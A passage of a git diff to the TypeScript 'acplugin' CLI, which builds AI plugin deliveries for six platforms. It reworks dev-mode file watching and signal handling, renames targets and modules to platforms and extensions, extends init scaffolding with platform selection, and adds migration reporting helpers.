stopRequested.then(() => false as const), + ]); + if (!readyResult) { + watchers.delete(watcher); + await watcher.close(); + } + return readyResult; + } catch /** error 保存监听器初始化异常并确保不会遗留活动句柄。 */ (error) { + watchers.delete(watcher); + await watcher.close(); + throw error; } - running = true; + } + + /** + * 执行一次 dev 构建;signal 后不再登记路径、发布报告或创建 watcher。 + */ + async function performRebuild(): Promise { try { /** 当前 dev 重建的 Pipeline 结果。 */ - const result = await runProject({ + const execution = await executeProject({ command: 'dev', mode: options.mode, ...(options.config === undefined ? {} : { configPath: options.config }), - ...(options.target === undefined ? {} : { targets: options.target as TargetId[] }), - strict: options.strict, + ...(options.platform === undefined ? {} : { platforms: options.platform as PlatformId[] }), + ...(options.strict === undefined ? {} : { strict: options.strict }), commit: true, }); - writeReport(result.report, options.json); - if (!result.report.success) - process.exitCode = result.report.diagnostics.some(diagnostic => diagnostic.code === 'BUILD_INTERNAL_FAILED') ? 2 : 1; - } catch (error) { - writeFailure('dev', error, options.json, !(error instanceof ProjectConfigError)); - } finally { - running = false; - if (pending) { - pending = false; - await rebuild(); + if (stopping) + return; + /** 固定 Pipeline 当前一次 dev 重建的公开报告。 */ + const result = execution.result; + /** 当前执行首次发现、旧监听器尚未覆盖的动态路径。 */ + const added = registerWatchPaths(execution); + if (watcherReady && added.length > 0) { + try { + /** dynamicReady 表示本批动态路径是否在取消前完成首次扫描。 */ + const dynamicReady = await createReadyWatcher(added); + if (!dynamicReady || stopping) + return; + // ready 只表示初始目录扫描结束;扫描期间的变化因 ignoreInitial 不会产生事件。 + // 丢弃本轮旧快照并让串行队列立即补偿构建,成功提示才是可靠同步边界。 + pending = true; + return; + } catch /** error 保存动态监听器初始化异常,并允许后续配置事件重试。 */ (error) { + /** candidate 表示当前尚未成功建立监听、需要撤销登记的路径。 */ + for (const candidate of added) + watchPaths.delete(candidate); + throw error; + } } + if (stopping) + return; + /** 发布本次成功执行结果;首次结果必须等到监听器确实就绪。 */ + const publish = (): void => { + if (options.json) { + finalJsonReport = result; + process.stderr.write(`dev: ${result.success ? 'success' : 'failed'}\n`); + } else { + writeReport(result, false); + } + }; + if (watcherReady) + publish(); + process.exitCode = exitCodeFor(result); + } catch /** error 保存当前操作捕获的异常,供本阶段转换或恢复。 */ (error) { + if (stopping) + return; + /** 配置错误可通过后续文件变更恢复,内部异常仍以独立退出状态标识。 */ + const internal = !(error instanceof ProjectConfigError); + /** 发布本次失败结果;首次失败同样在配置监听已经就绪后再提示可恢复。 */ + const publish = (): void => { + if (options.json) { + finalJsonReport = failureReport('dev', error, internal); + process.stderr.write('dev: failed\n'); + } else { + writeFailure('dev', error, false, internal); + } + }; + if (watcherReady) + publish(); + process.exitCode = internal ? 2 : 1; } - }; + } - await rebuild(); - /** dev 模式实际使用的配置绝对路径。 */ - const configPath = path.resolve(options.config ?? 'acplugin.config.ts'); - /** 监听范围以配置文件目录为工程根目录。 */ - const projectRoot = path.dirname(configPath); - /** 忽略依赖、产物、Git 和 acplugin 事务目录的递归文件监听器。 */ - const watcher = watch(projectRoot, { - ignoreInitial: true, - ignored: (candidate) => { - /** 候选路径相对于监听根目录的 POSIX 表示。 */ - const relative = path.relative(projectRoot, candidate).split(path.sep).join('/'); - return relative === 'node_modules' - || relative.startsWith('node_modules/') - || relative === 'dist' - || relative.startsWith('dist/') - || relative === '.git' - || relative.startsWith('.git/') - || /(^|\/)\.acplugin-(?:work|stage|backup|transaction|lock)/.test(relative); - }, - }); - /** 合并短时间文件事件使用的定时器。 */ - let debounce: NodeJS.Timeout | undefined; - watcher.on('all', () => { + /** + * 消费构建期间合并到 pending 的变化,直到队列稳定或收到 signal。 + */ + async function runRebuildQueue(): Promise { + do { + pending = false; + await performRebuild(); + } while (pending && !stopping); + } + + /** + * 请求一次串行重建,并返回当前唯一可等待的在途队列。 + * + * @returns 当前或新建的重建队列 Promise。 + */ + function rebuild(): Promise { + if (stopping) + return Promise.resolve(); + if (activeRebuild) { + pending = true; + return activeRebuild; + } + /** task 表示本次创建且会在稳定后清除引用的重建队列。 */ + const task = runRebuildQueue(); + activeRebuild = task; + void task.then(() => { + if (activeRebuild === task) + activeRebuild = undefined; + }); + return task; + } + + /** + * 响应任意启动阶段的终止信号,等待在途任务并关闭最终 watcher 集合。 + */ + function stop(): void { + if (stopping) + return; + stopping = true; + notifyStopRequested?.(); if (debounce) clearTimeout(debounce); - debounce = setTimeout(() => { - debounce = undefined; - void rebuild(); - }, 50); - }); - await new Promise((resolve) => { - /** - * 响应终止信号,清理定时器和 watcher,并使用 130 表示信号中断。 - */ - const stop = (): void => { - if (debounce) - clearTimeout(debounce); - process.exitCode = 130; - void watcher.close().then(resolve); + if (options.json && finalJsonReport) { + /** BuildResult 使用稳定 serializer,配置前失败使用固定字段顺序。 */ + const json = 'deliveryUnits' in finalJsonReport + ? serializeBuildResult(finalJsonReport) + : `${JSON.stringify(finalJsonReport, null, 2)}\n`; + process.stdout.write(json); + } + process.exitCode = 130; + /** cleanup 表示等待首次或动态任务后对最终 watcher 集合执行的统一清理。 */ + const cleanup = async (): Promise => { + try { + await activeRebuild; + await activeWatcherSetup; + /** closeTasks 包含停止后不再增长的全部初始或动态监听器。 */ + const closeTasks = [...watchers].map(watcher => watcher.close()); + await Promise.all(closeTasks); + } catch { + // signal 的公开退出语义固定为 130,清理异常不能产生未处理 Promise rejection。 + process.exitCode = 130; + } finally { + resolveStopped?.(); + } }; - process.once('SIGINT', stop); - process.once('SIGTERM', stop); - }); + void cleanup(); + } + + // 使用持久监听器直到 finally 主动卸载,避免构建依赖在后注册的 signal-exit + // 把“当前只剩自身监听器”误判为无人处理,并重新发送信号绕过异步清理。 + process.on('SIGINT', stop); + process.on('SIGTERM', stop); + try { + await rebuild(); + if (!stopping) { + /** 监听配置、工程根和 descriptor 的初始 setup,也必须能被 signal 等待。 */ + const setup = createReadyWatcher([...watchPaths]); + activeWatcherSetup = setup; + /** initialReady 表示首次路径扫描是否在 signal 前正常完成。 */ + const initialReady = await setup; + if (activeWatcherSetup === setup) + activeWatcherSetup = undefined; + if (initialReady && !stopping) { + watcherReady = true; + // 首次 Pipeline 与 watcher ready 之间存在 ignoreInitial 窗口;旧报告不能发布。 + await rebuild(); + } + } + await stopped; + } catch /** error 表示初始化与 signal 同时发生时可能到达的 watcher 异常。 */ (error) { + if (!stopping) + throw error; + await stopped; + } finally { + process.off('SIGINT', stop); + process.off('SIGTERM', stop); + } } /** @@ -248,7 +548,7 @@ export function createCli(): Command { /** 注册全局元数据和错误处理策略的 CLI 根命令。 */ const program = new Command() .name('acplugin') - .description('Build canonical AI plugins for Claude Code and Codex') + .description('Build canonical AI plugin deliveries for six platforms') .version(ACPLUGIN_VERSION) .showHelpAfterError() .exitOverride(); @@ -260,8 +560,9 @@ export function createCli(): Command { .option('--name ', 'Plugin machine name') .option('--display-name ', 'Plugin display name') .option('--description ', 'Plugin description') - .option('--hooks', 'Enable the official Hooks Module') - .option('--mcp', 'Enable the official MCP Module') + .option('--platform ', 'Select one or more official Platforms') + .option('--hooks', 'Enable the official Hooks Extension') + .option('--mcp', 'Enable the official MCP Extension') .option('--install', 'Run pnpm install after scaffolding') .option('--json', 'Emit one stable JSON result on stdout') .action(async (directory: string | undefined, options: { @@ -269,6 +570,7 @@ export function createCli(): Command { name?: string; displayName?: string; description?: string; + platform?: InitPlatformId[]; hooks?: boolean; mcp?: boolean; install?: boolean; @@ -282,6 +584,7 @@ export function createCli(): Command { ...(options.name === undefined ? {} : { name: options.name }), ...(options.displayName === undefined ? {} : { displayName: options.displayName }), ...(options.description === undefined ? {} : { description: options.description }), + ...(options.platform === undefined ? {} : { platforms: options.platform }), ...(options.hooks === undefined ? {} : { hooks: options.hooks }), ...(options.mcp === undefined ? {} : { mcp: options.mcp }), ...(options.install === undefined ? {} : { install: options.install }), @@ -292,7 +595,7 @@ export function createCli(): Command { process.stdout.write(`Created ${result.directory}\nNext: cd ${result.directory} && pnpm install && pnpm build\n`); if (options.install && !result.installed) process.exitCode = 1; - } catch (error) { + } catch /** error 保存当前操作捕获的异常,供本阶段转换或恢复。 */ (error) { writeFailure('init', error, options.json, false); process.exitCode = 1; } @@ -341,17 +644,17 @@ export function createCli(): Command { process.stdout.write(`Migration ${report.success ? 'succeeded' : 'failed'}: ${report.items.length} resource(s)\n`); if (!report.success) process.exitCode = 1; - } catch (error) { + } catch /** error 保存当前操作捕获的异常,供本阶段转换或恢复。 */ (error) { writeFailure('migrate', error, options.json, false); process.exitCode = 1; } }); - addProjectOptions(program.command('validate').description('Validate the complete generated target graphs'), 'production') + addProjectOptions(program.command('validate').description('Validate all selected Platform delivery units'), 'production') .action((options: ProjectCliOptions) => runPipeline('validate', options)); - addProjectOptions(program.command('inspect').description('Inspect the complete generated target graphs'), 'production') + addProjectOptions(program.command('inspect').description('Inspect all selected Platform delivery units'), 'production') .action((options: ProjectCliOptions) => runPipeline('inspect', options)); - addProjectOptions(program.command('build').description('Build and atomically commit selected targets'), 'production') + addProjectOptions(program.command('build').description('Build and atomically commit selected Platforms'), 'production') .action((options: ProjectCliOptions) => runPipeline('build', options)); addProjectOptions(program.command('dev').description('Watch and retain the last successful output'), 'development') .action((options: ProjectCliOptions) => runDev(options)); @@ -372,8 +675,15 @@ export async function main(argv: readonly string[] = process.argv): Promise argument === '--target' || argument === '-t' || argument.startsWith('--target='))) { + program.error('option \'--target\' has been removed; use \'--platform \' instead', { + exitCode: 2, + code: 'acplugin.legacyTarget', + }); + } await program.parseAsync(argv); - } catch (error) { + } catch /** error 保存当前操作捕获的异常,供本阶段转换或恢复。 */ (error) { if (error instanceof CommanderError) { if (error.code === 'commander.helpDisplayed' || error.code === 'commander.version') return; diff --git a/packages/acplugin/src/index.ts b/packages/acplugin/src/index.ts index d9dc087..f738751 100644 --- a/packages/acplugin/src/index.ts +++ b/packages/acplugin/src/index.ts @@ -1,53 +1,145 @@ -import path from 'node:path'; -import { promises as fs } from 'node:fs'; -import { createJiti } from 'jiti'; import { - buildProject, - resolveConfig, - type BuildCommand, - type BuildMode, type BuildResult, - type ResolvedConfig, - type TargetId, - type UserConfig, type UserConfigExport, } from '@acplugin/core'; -import { claudeCodeCompiler } from '@acplugin/compiler-claude-code'; -import { codexCompiler } from '@acplugin/compiler-codex'; +import { executeProject, type RunProjectOptions } from './run-project.js'; -export * from '@acplugin/core'; -export * from './init.js'; +export { antigravity } from '@acplugin/platform-antigravity'; +export { claudeCode } from '@acplugin/platform-claude-code'; +export { codex } from '@acplugin/platform-codex'; +export { cursor } from '@acplugin/platform-cursor'; +export { openCode } from '@acplugin/platform-opencode'; +export { pi } from '@acplugin/platform-pi'; +export type { AntigravityPlatformOptions } from '@acplugin/platform-antigravity'; +export type { + ClaudeCodeMarketplaceOptions, + ClaudeCodeMarketplaceOwner, + ClaudeCodePlatformOptions, +} from '@acplugin/platform-claude-code'; +export type { + CodexCategory, + CodexInterfaceOptions, + CodexMarketplaceInstallation, + CodexMarketplaceOptions, + CodexMarketplacePolicyOptions, + CodexPlatformOptions, +} from '@acplugin/platform-codex'; +export type { CursorPlatformOptions } from '@acplugin/platform-cursor'; +export type { OpenCodePlatformOptions, OpenCodeWorkspaceOptions } from '@acplugin/platform-opencode'; +export type { PiPackageOptions, PiPlatformOptions } from '@acplugin/platform-pi'; +export { ProjectConfigError } from './project-config.js'; +export type { RunProjectOptions } from './run-project.js'; + +// 主包只精选公开作者 API;Core 的内部 Registry、事务和品牌检查不会通过通配导出泄漏。 +export { + bytesArtifact, + defineExtension, + definePlatform, + LIFECYCLE_API_VERSION, + serializeBuildResult, + stableJson, +} from '@acplugin/core'; +export type { + AcpluginExtension, + AcpluginPlatform, + AgentCapability, + AgentComponent, + AgentModel, + Artifact, + ArtifactInput, + ArtifactMode, + ArtifactReport, + Awaitable, + BuildCommand, + BuildConfig, + BuildEndContext, + BuildMode, + BuildResult, + BuildStartContext, + CommandComponent, + CompatibilityEntry, + CompatibilityInput, + CompatibilityLevel, + Component, + ComponentDescription, + ComponentKind, + ComponentPlatformFields, + ComponentRequires, + ComponentReport, + ConfigEnvironment, + ConfigResolvedContext, + DeliveryUnit, + DeliveryUnitInput, + DeliveryUnitReport, + DeliveryUnitRole, + DeliveryUnitType, + Diagnostic, + DiagnosticInput, + DiagnosticSeverity, + DocumentAddPatch, + DocumentEmission, + DocumentFieldPath, + DocumentFormat, + DocumentReport, + DraftDocument, + ExtensionBuildContext, + ExtensionDefinition, + ExtensionDescription, + ExtensionDiscoverContext, + ExtensionPlatformAdapter, + ExtensionReport, + ExtensionValidateContext, + JsonObject, + JsonValue, + LifecycleConfigSnapshot, + LifecycleContext, + MaterializedCandidate, + MetadataDisposition, + MetadataDispositionEntry, + MetadataDispositionInput, + PlatformAdapterContext, + PlatformAdapterDescription, + PlatformComponentValidationContext, + PlatformDefinition, + PlatformDeliveryType, + PlatformDescription, + PlatformDistributionContext, + PlatformDraftInput, + PlatformGenerateContext, + PlatformId, + PlatformPrepareContext, + PlatformReport, + PlatformValidateContext, + PluginAuthor, + PluginMetadata, + PluginProject, + PublicConfig, + PublicCopyRule, + PublicFile, + SkillAuxiliaryFile, + SkillComponent, + SourceLocation, + UserConfig, + UserConfigExport, +} from '@acplugin/core'; +export { initializeProject } from './init.js'; +export type { InitOptions, InitPlatformId, InitResult } from './init.js'; /** 当前 CLI 与公开运行时 API 的版本号。 */ export const ACPLUGIN_VERSION = '1.0.0'; -/** - * 表示配置文件读取、执行或 Core 配置解析失败,并携带可安全展示的结构化诊断。 - */ -export class ProjectConfigError extends Error { - /** 可直接写入 CLI JSON 报告的配置诊断。 */ - readonly diagnostics: readonly import('@acplugin/core').Diagnostic[]; +/** 主包内置且由独立私有包实现的六个 Platform ID。 */ +export const BUILTIN_PLATFORM_IDS = [ + 'claude-code', + 'codex', + 'cursor', + 'antigravity', + 'opencode', + 'pi', +] as const; - /** - * 创建配置加载错误并保留底层原因供内部调试。 - * - * @param message 面向用户的安全错误摘要。 - * @param diagnostics 已清理的结构化配置诊断。 - * @param cause 不直接展示给用户的底层异常。 - */ - constructor( - message: string, - diagnostics: readonly import('@acplugin/core').Diagnostic[], - cause?: unknown, - ) { - if (cause === undefined) - super(message); - else - super(message, { cause }); - this.name = 'ProjectConfigError'; - this.diagnostics = diagnostics; - } -} +/** acplugin 1.0 官方内置 Platform 的封闭联合类型。 */ +export type BuiltinPlatformId = typeof BUILTIN_PLATFORM_IDS[number]; /** * 为 `acplugin.config.ts` 提供类型推断友好的恒等辅助函数。 @@ -59,180 +151,12 @@ export function defineConfig(config: UserConfigExport): UserConfigExport { return config; } -/** 控制项目配置文件的定位方式和配置函数执行上下文。 */ -export interface LoadProjectConfigOptions { - /** 解析相对路径使用的工作目录,默认为当前进程目录。 */ - cwd?: string; - /** 相对于 cwd 的配置路径,默认为 `acplugin.config.ts`。 */ - configPath?: string; - /** 当前执行的 CLI/运行时命令。 */ - command: BuildCommand; - /** 传递给配置函数的开发或生产模式。 */ - mode: BuildMode; -} - -/** 已解析 Core 配置及其共享 TypeScript Module 加载能力。 */ -export interface LoadedProjectConfig { - /** 完成默认值、路径和 Module 校验的不可变配置。 */ - config: ResolvedConfig; - /** - * 使用与配置文件相同的 Jiti 实例加载 Module 引用。 - * - * @param path TypeScript Module 文件路径。 - */ - loadTypeScriptModule(path: string): Promise; -} - -/** - * 通过 Jiti 导入模块的默认导出,并屏蔽其泛型返回细节。 - * - * @param jiti 当前项目配置专用且禁用缓存的 Jiti 实例。 - * @param modulePath 待执行模块路径。 - * @returns 模块默认导出。 - */ -async function importDefault(jiti: ReturnType, modulePath: string): Promise { - return jiti.import(modulePath, { default: true }); -} - -/** - * 安全加载、执行并解析项目的 TypeScript 配置入口。 - * - * 配置文件必须是普通非符号链接文件;每次调用使用无缓存 Jiti,确保 dev 重建读取最新内容。 - * - * @param options 配置路径与执行上下文。 - * @returns Core 已解析配置和后续 Module 共用的 TypeScript 加载函数。 - * @throws 配置访问、执行或语义校验失败时抛出 ProjectConfigError。 - */ -export async function loadProjectConfig(options: LoadProjectConfigOptions): Promise { - /** 所有配置相对路径解析使用的绝对工作目录。 */ - const cwd = path.resolve(options.cwd ?? process.cwd()); - /** 本次运行实际加载的配置绝对路径。 */ - const configPath = path.resolve(cwd, options.configPath ?? 'acplugin.config.ts'); - /** 可安全展示且不泄露 cwd 前缀的配置路径。 */ - const displayPath = path.relative(cwd, configPath).split(path.sep).join('/') || path.basename(configPath); - try { - const stat = await fs.lstat(configPath); - if (!stat.isFile() || stat.isSymbolicLink()) - throw new Error('Configuration must be a regular non-symlink file.'); - } catch (error) { - /** 根据文件是否缺失生成稳定且不暴露底层异常文本的失败原因。 */ - const reason = (error as NodeJS.ErrnoException).code === 'ENOENT' - ? 'file does not exist.' - : 'file cannot be accessed as a regular non-symlink file.'; - /** 配置访问失败时供异常与诊断共用的消息。 */ - const message = `Cannot load ${displayPath}: ${reason}`; - throw new ProjectConfigError(message, [{ - code: 'CONFIG_LOAD_FAILED', - severity: 'error', - message, - phase: 'config', - location: { path: displayPath }, - }], error); - } - - /** 当前配置及其引用 Module 共用的无缓存 TypeScript 执行器。 */ - const jiti = createJiti(import.meta.url, { - interopDefault: true, - moduleCache: false, - fsCache: false, - }); - /** 配置文件尚未调用的默认导出。 */ - let exported: UserConfigExport; - try { - exported = await importDefault(jiti, configPath) as UserConfigExport; - } catch (error) { - /** 配置代码无法求值时使用的安全消息。 */ - const message = `Cannot evaluate ${displayPath}.`; - throw new ProjectConfigError(message, [{ - code: 'CONFIG_EVALUATION_FAILED', - severity: 'error', - message, - phase: 'config', - location: { path: displayPath }, - }], error); - } - /** 静态导出或配置函数执行后得到的原始用户配置。 */ - let value: UserConfig; - try { - value = (typeof exported === 'function' - ? await exported({ command: options.command, mode: options.mode }) - : exported) as UserConfig; - } catch (error) { - /** 配置函数执行失败时使用的安全消息。 */ - const message = `Configuration function in ${displayPath} failed.`; - throw new ProjectConfigError(message, [{ - code: 'CONFIG_FUNCTION_FAILED', - severity: 'error', - message, - phase: 'config', - location: { path: displayPath }, - }], error); - } - if (value === null || typeof value !== 'object' || Array.isArray(value)) - throw new ProjectConfigError('acplugin.config.ts must export a config object or a function returning one.', [{ - code: 'CONFIG_EXPORT_INVALID', - severity: 'error', - message: 'acplugin.config.ts must export a config object or a function returning one.', - phase: 'config', - location: { path: displayPath }, - }]); - - /** Core 配置解析结果,包含诊断以及成功时的 ResolvedConfig。 */ - const resolved = resolveConfig(value, configPath, options.command, options.mode); - if (!resolved.config) { - /** 为非 CLI API 调用方组合的简要错误文本;结构化诊断仍完整保留。 */ - const details = resolved.diagnostics.map(diagnostic => `${diagnostic.code}: ${diagnostic.message}`).join('\n'); - throw new ProjectConfigError(details || 'Configuration is invalid.', resolved.diagnostics); - } - - return { - config: resolved.config, - loadTypeScriptModule: modulePath => importDefault(jiti, modulePath), - }; -} - -/** 在加载配置的基础上控制目标覆盖、严格模式和真实提交。 */ -export interface RunProjectOptions extends LoadProjectConfigOptions { - /** 可选的目标平台集合覆盖。 */ - targets?: readonly TargetId[]; - /** 可选的统一目标兼容性严格度覆盖。 */ - strict?: boolean; - /** 是否把生成结果提交到 outDir。 */ - commit?: boolean; -} - /** - * 使用官方 Compiler 注册表运行一个项目构建请求。 + * 使用当前正式 Pipeline 运行一个项目构建请求。 * * @param options 配置定位、命令模式和运行时覆盖选项。 * @returns Core Pipeline 产生的项目与构建报告。 */ export async function runProject(options: RunProjectOptions): Promise { - /** 已加载的配置和 TypeScript Module 解析能力。 */ - const loaded = await loadProjectConfig(options); - /** 可能应用 CLI 目标覆盖的最终运行配置。 */ - let config = loaded.config; - if (options.targets || options.strict !== undefined) { - /** CLI 指定或配置原有的目标 ID 列表。 */ - const targetIds = options.targets ?? config.targets.map(target => target.id); - /** 对全部选中目标应用的可选严格度覆盖。 */ - const strict = options.strict; - config = { - ...config, - targets: targetIds.map(id => ({ - id, - strict: strict ?? config.targets.find(target => target.id === id)?.strict ?? config.strict, - })), - }; - } - return buildProject({ - config, - // Compiler 是框架内置能力,不由用户配置替换,Module 只能通过标准贡献接口增强。 - compilers: new Map([ - ['claude-code', claudeCodeCompiler], - ['codex', codexCompiler], - ]), - loadTypeScriptModule: loaded.loadTypeScriptModule, - commit: options.commit ?? (options.command === 'build' || options.command === 'dev'), - }); + return (await executeProject(options)).result; } diff --git a/packages/acplugin/src/init.ts b/packages/acplugin/src/init.ts index e057b35..8d34f47 100644 --- a/packages/acplugin/src/init.ts +++ b/packages/acplugin/src/init.ts @@ -3,7 +3,7 @@ import { promises as fs } from 'node:fs'; import path from 'node:path'; import { checkbox, input } from '@inquirer/prompts'; -/** 控制 `acplugin init` 的交互方式、工程元数据和可选官方 Module。 */ +/** 控制 `acplugin init` 的交互方式、工程元数据和可选官方 Extension。 */ export interface InitOptions { /** 解析目标目录的工作目录,默认为当前进程目录。 */ cwd?: string; @@ -17,9 +17,11 @@ export interface InitOptions { displayName?: string; /** 可选的 Plugin 描述覆盖。 */ description?: string; - /** 是否在生成配置中启用官方 Hooks Module。 */ + /** 需要显式写入配置的官方 Platform;默认 Claude Code 与 Codex。 */ + platforms?: readonly InitPlatformId[]; + /** 是否在生成配置中启用官方 Hooks Extension。 */ hooks?: boolean; - /** 是否在生成配置中启用官方 MCP Module。 */ + /** 是否在生成配置中启用官方 MCP Extension。 */ mcp?: boolean; /** 是否在脚手架完成后运行 pnpm install。 */ install?: boolean; @@ -31,12 +33,30 @@ export interface InitResult { directory: string; /** 脚手架创建的工程文件路径。 */ files: readonly string[]; - /** 新工程启用的官方 Module 包名。 */ - modules: readonly string[]; + /** 新工程启用的官方 Platform ID。 */ + platforms: readonly InitPlatformId[]; + /** 新工程启用的官方 Extension 包名。 */ + extensions: readonly string[]; /** 请求安装依赖时,pnpm 是否成功退出。 */ installed: boolean; } +/** `init` 可以写入脚手架的六个官方 Platform ID。 */ +export type InitPlatformId = 'claude-code' | 'codex' | 'cursor' | 'antigravity' | 'opencode' | 'pi'; + +/** 无交互脚手架默认启用的正式支持 Platform。 */ +const DEFAULT_PLATFORMS: readonly InitPlatformId[] = ['claude-code', 'codex']; + +/** 每个官方 Platform 在主包中对应的配置工厂导出名。 */ +const PLATFORM_FACTORIES: Readonly> = { + 'claude-code': 'claudeCode', + 'codex': 'codex', + 'cursor': 'cursor', + 'antigravity': 'antigravity', + 'opencode': 'openCode', + 'pi': 'pi', +}; + /** Plugin 名称接受的小写 kebab-case 格式。 */ const NAME_PATTERN = /^[a-z0-9]+(?:-[a-z0-9]+)*$/; @@ -71,12 +91,13 @@ function defaultDisplayName(name: string): string { */ async function assertDestination(directory: string): Promise { try { + /** 已存在目标的文件类型和符号链接状态。 */ const stat = await fs.lstat(directory); if (!stat.isDirectory() || stat.isSymbolicLink()) throw new Error('destination exists and is not a regular directory'); if ((await fs.readdir(directory)).length > 0) throw new Error('destination directory is not empty'); - } catch (error) { + } catch /** error 保存当前操作捕获的异常,供本阶段转换或恢复。 */ (error) { if ((error as NodeJS.ErrnoException).code === 'ENOENT') return; throw error; @@ -84,29 +105,30 @@ async function assertDestination(directory: string): Promise { } /** - * 生成使用顶层元数据和可选官方 Module 的 `acplugin.config.ts`。 + * 生成使用顶层元数据和可选官方 Extension 的 `acplugin.config.ts`。 * - * @param metadata 新工程的 Plugin 元数据与 Module 选择。 + * @param metadata 新工程的 Plugin 元数据与 Extension 选择。 * @returns 可直接写入磁盘的 TypeScript 配置源码。 */ function configSource(metadata: { name: string; displayName: string; description: string; + platforms: readonly InitPlatformId[]; hooks: boolean; mcp: boolean; }): string { - /** 配置入口必需以及由 Module 选择追加的导入语句。 */ - const imports = [`import { defineConfig } from '@tokenroll/acplugin';`]; - /** 写入配置 `modules` 数组的初始化表达式。 */ - const modules: string[] = []; + /** 配置入口与选中 Platform 对应的主包工厂导出。 */ + const imports = [`import { defineConfig, ${metadata.platforms.map(platform => PLATFORM_FACTORIES[platform]).join(', ')} } from '@tokenroll/acplugin';`]; + /** 写入配置 `extensions` 数组的初始化表达式。 */ + const extensions: string[] = []; if (metadata.hooks) { - imports.push(`import hooks from '@tokenroll/acplugin-module-hooks';`); - modules.push('hooks()'); + imports.push(`import hooks from '@tokenroll/acplugin-extension-hooks';`); + extensions.push('hooks()'); } if (metadata.mcp) { - imports.push(`import mcp from '@tokenroll/acplugin-module-mcp';`); - modules.push('mcp()'); + imports.push(`import mcp from '@tokenroll/acplugin-extension-mcp';`); + extensions.push('mcp()'); } return `${imports.join('\n')} @@ -114,9 +136,10 @@ export default defineConfig({ name: ${JSON.stringify(metadata.name)}, version: '0.1.0', description: ${JSON.stringify(metadata.description)}, - displayName: ${JSON.stringify(metadata.displayName)},${modules.length + displayName: ${JSON.stringify(metadata.displayName)}, + platforms: [${metadata.platforms.map(platform => `${PLATFORM_FACTORIES[platform]}()`).join(', ')}],${extensions.length ? ` - modules: [${modules.join(', ')}],` + extensions: [${extensions.join(', ')}],` : ''} }); `; @@ -126,21 +149,21 @@ export default defineConfig({ * 生成仅包含工程开发依赖和标准命令的私有 package.json。 * * @param name Plugin 机器名称。 - * @param hooks 是否加入官方 Hooks Module 依赖。 - * @param mcp 是否加入官方 MCP Module 依赖。 + * @param hooks 是否加入官方 Hooks Extension 依赖。 + * @param mcp 是否加入官方 MCP Extension 依赖。 * @returns 以换行结尾的格式化 JSON。 */ function packageSource(name: string, hooks: boolean, mcp: boolean): string { - /** 根据 Module 选择动态扩展的开发依赖映射。 */ + /** 根据 Extension 选择动态扩展的开发依赖映射。 */ const devDependencies: Record = { '@tokenroll/acplugin': '^1.0.0', '@types/node': '^20.19.0', 'typescript': '^7.0.2', }; if (hooks) - devDependencies['@tokenroll/acplugin-module-hooks'] = '^1.0.0'; + devDependencies['@tokenroll/acplugin-extension-hooks'] = '^1.0.0'; if (mcp) - devDependencies['@tokenroll/acplugin-module-mcp'] = '^1.0.0'; + devDependencies['@tokenroll/acplugin-extension-mcp'] = '^1.0.0'; return `${JSON.stringify({ name, version: '0.1.0', @@ -177,8 +200,8 @@ async function installDependencies(directory: string): Promise { /** * 交互式或无交互地创建一个最小、可构建的规范 Plugin 工程。 * - * @param options 目标目录、元数据、Module 和依赖安装选项。 - * @returns 创建文件、启用 Module 与安装状态。 + * @param options 目标目录、元数据、Extension 和依赖安装选项。 + * @returns 创建文件、启用 Extension 与安装状态。 */ export async function initializeProject(options: InitOptions): Promise { /** 解析相对目标目录使用的绝对工作目录。 */ @@ -215,14 +238,43 @@ export async function initializeProject(options: InitOptions): Promise({ + message: 'Platforms', + choices: [ + { name: 'Claude Code', value: 'claude-code', checked: true }, + { name: 'Codex', value: 'codex', checked: true }, + { name: 'Cursor', value: 'cursor' }, + { name: 'Antigravity', value: 'antigravity' }, + { name: 'OpenCode', value: 'opencode' }, + { name: 'Pi', value: 'pi' }, + ], + required: true, + }); + } + if (platforms.length === 0) + throw new Error('At least one Platform must be selected.'); + /** seenPlatforms 用于拒绝重复工厂,保持配置与报告身份唯一。 */ + const seenPlatforms = new Set(); + /** platform 表示当前需要验证和稳定去重的脚手架 Platform。 */ + for (const platform of platforms) { + if (!Object.hasOwn(PLATFORM_FACTORIES, platform)) + throw new Error(`Unknown init Platform "${platform}".`); + if (seenPlatforms.has(platform)) + throw new Error(`Duplicate init Platform "${platform}".`); + seenPlatforms.add(platform); + } + + /** 新工程是否启用 Hooks Extension。 */ let hooksEnabled = options.hooks ?? false; - /** 新工程是否启用 MCP Module。 */ + /** 新工程是否启用 MCP Extension。 */ let mcpEnabled = options.mcp ?? false; if (!options.yes && process.stdin.isTTY && options.hooks === undefined && options.mcp === undefined) { - /** 用户在统一 Module 复选提示中选择的功能。 */ + /** 用户在统一 Extension 复选提示中选择的功能。 */ const selected = await checkbox({ - message: 'Optional Modules', + message: 'Optional Extensions', choices: [ { name: 'Hooks', value: 'hooks' }, { name: 'MCP', value: 'mcp' }, @@ -235,6 +287,10 @@ export async function initializeProject(options: InitOptions): Promise & { readonly destination?: string }; + +/** 字段结论从完整保真到无法映射的严重度顺序。 */ +const FIELD_OUTCOME_RANK: Readonly> = { + mapped: 0, + degraded: 1, + unmapped: 2, +}; + +/** + * 记录一个已发现字段的脱敏迁移结论。 + * + * @param fields 当前资源累计的字段结论。 + * @param field 旧字段名或内容角色。 + * @param source 包含字段的旧工程相对路径。 + * @param outcome 字段保真度。 + * @param reason 不复述原始值的稳定原因。 + * @param destination 字段写入不同文件时使用的精确工程相对路径。 + */ +function reportField( + fields: MigrationFieldDraft[], + field: string, + source: string, + outcome: MigrationFieldOutcome, + reason: string, + destination?: string, +): void { + fields.push({ field, source, outcome, reason, ...(destination === undefined ? {} : { destination }) }); +} + +/** + * 按字段最差结论创建唯一的资源级迁移记录。 + * + * @param resource 不含 outcome/fields 的资源路径与身份。 + * @param fields 已覆盖该资源全部已发现字段的结论。 + * @returns 字段已补齐目标路径且总体 outcome 可审计的资源项。 + */ +function migrationItem( + resource: Omit, + fields: readonly MigrationFieldDraft[], +): MigrationItem { + /** 未输出文件的聚合记录统一指向人工可审查的迁移报告。 */ + const destination = resource.destination ?? '.acplugin-migration/report.json'; + /** 字段最差结果决定资源总体,不允许 unmapped 被压低成 degraded。 */ + const worst = fields.reduce( + (current, field) => FIELD_OUTCOME_RANK[field.outcome] > FIELD_OUTCOME_RANK[current] ? field.outcome : current, + 'mapped', + ); + /** 字段 mapped 对应资源 migrated,其余名称在两个协议中一致。 */ + const outcome: MigrationOutcome = worst === 'mapped' ? 'migrated' : worst; + return { + ...resource, + outcome, + fields: Object.freeze(fields.map(field => Object.freeze({ ...field, destination: field.destination ?? destination }))), + }; +} + /** * 生成旧工程内用于报告的 POSIX 相对路径。 * @@ -152,6 